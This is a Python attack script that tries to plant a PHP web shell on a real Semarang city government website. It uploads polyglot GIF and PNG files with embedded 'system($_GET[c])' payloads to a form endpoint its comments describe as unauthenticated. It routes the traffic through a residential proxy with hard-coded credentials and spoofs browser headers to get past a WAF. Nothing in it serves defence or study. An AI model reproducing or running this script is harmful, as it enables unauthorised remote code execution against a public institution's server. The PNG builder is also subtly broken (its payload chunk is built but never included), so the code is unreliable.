#!/usr/bin/env python3
import requests
import time
import random
import io

PROXY = {
    'http': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10002',
    'https': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10002'
}

# Target - use main controller which has NO auth
TARGET = "https://pohon.disperkim.semarangkota.go.id/main/laporan_input"

# Create a minimal valid PNG file with PHP code in EXIF/comment
# This is a polyglot - valid PNG but contains PHP
def create_polyglot_png():
    # Minimal PNG header
    png_header = b'\x89PNG\r\n\x1a\n'
    # IHDR chunk
    ihdr = b'\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90wS\xde'
    # tEXt chunk with PHP payload - this should survive as metadata
    php_payload = b'<?=`$_GET[c]`;'
    text_keyword = b'Comment\x00'
    text_data = text_keyword + php_payload
    text_length = len(text_data).to_bytes(4, 'big')
    text_crc = b'\x00\x00\x00\x00'  # Simplified CRC
    text_chunk = text_length + b'tEXt' + text_data + text_crc
    # IDAT chunk (minimal)
    idat = b'\x00\x00\x00\x1dIDAT\x08\xd7c\xf8\x0f\x00\x00\x01\x01\x01\x00\x18\xdd\x8d\xb4'
    # IEND chunk
    iend = b'\x00\x00\x00\x00IEND\xaeB`\x82'
    
    return png_header + ihdr + idat + iend

def create_gif_php():
    # GIF header + PHP code
    return b'GIF89a<?php system($_GET["c"]); ?>'

def create_jpg_php():
    # Minimal JPEG with PHP in comment
    # FFD8 = JPEG start, FFFE = COM marker, then length (2 bytes) + data, FFD9 = end
    php_code = b'<?php system($_GET["c"]); ?>'
    com_length = (len(php_code) + 2).to_bytes(2, 'big')
    return b'\xFF\xD8\xFF\xFE' + com_length + php_code + b'\xFF\xD9'

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
}

# Test files
test_files = [
    ('gif_php.gif', create_gif_php(), 'image/gif'),
    ('polyglot.png', create_polyglot_png(), 'image/png'),
    # ('jpg_php.jpg', create_jpg_php(), 'image/jpeg'),
]

for filename, content, mime in test_files:
    print(f"\n[*] Testing upload: {filename}")
    
    files = {
        'userfile': (filename, io.BytesIO(content), mime)
    }
    
    data = {
        'pelapor_nama': 'Test',
        'pelapor_alamat': 'Test Alamat',
        'pelapor_phone': '081234567890',
        'pohon_lokasi': 'Test Lokasi',
        'pohon_keterangan': 'Test Keterangan',
        'lat': '-6.966667',
        'lng': '110.419998'
    }
    
    try:
        resp = requests.post(TARGET, files=files, data=data, headers=headers, 
                           proxies=PROXY, verify=False, timeout=60, allow_redirects=False)
        print(f"[*] Status: {resp.status_code}")
        print(f"[*] Location: {resp.headers.get('Location', 'N/A')}")
        if resp.status_code == 403:
            print(f"[*] Blocked by WAF")
            print(f"[*] Response: {resp.text[:500]}")
        else:
            print(f"[*] Response: {resp.text[:1000]}")
    except Exception as e:
        print(f"[-] Error: {e}")
    
    time.sleep(3)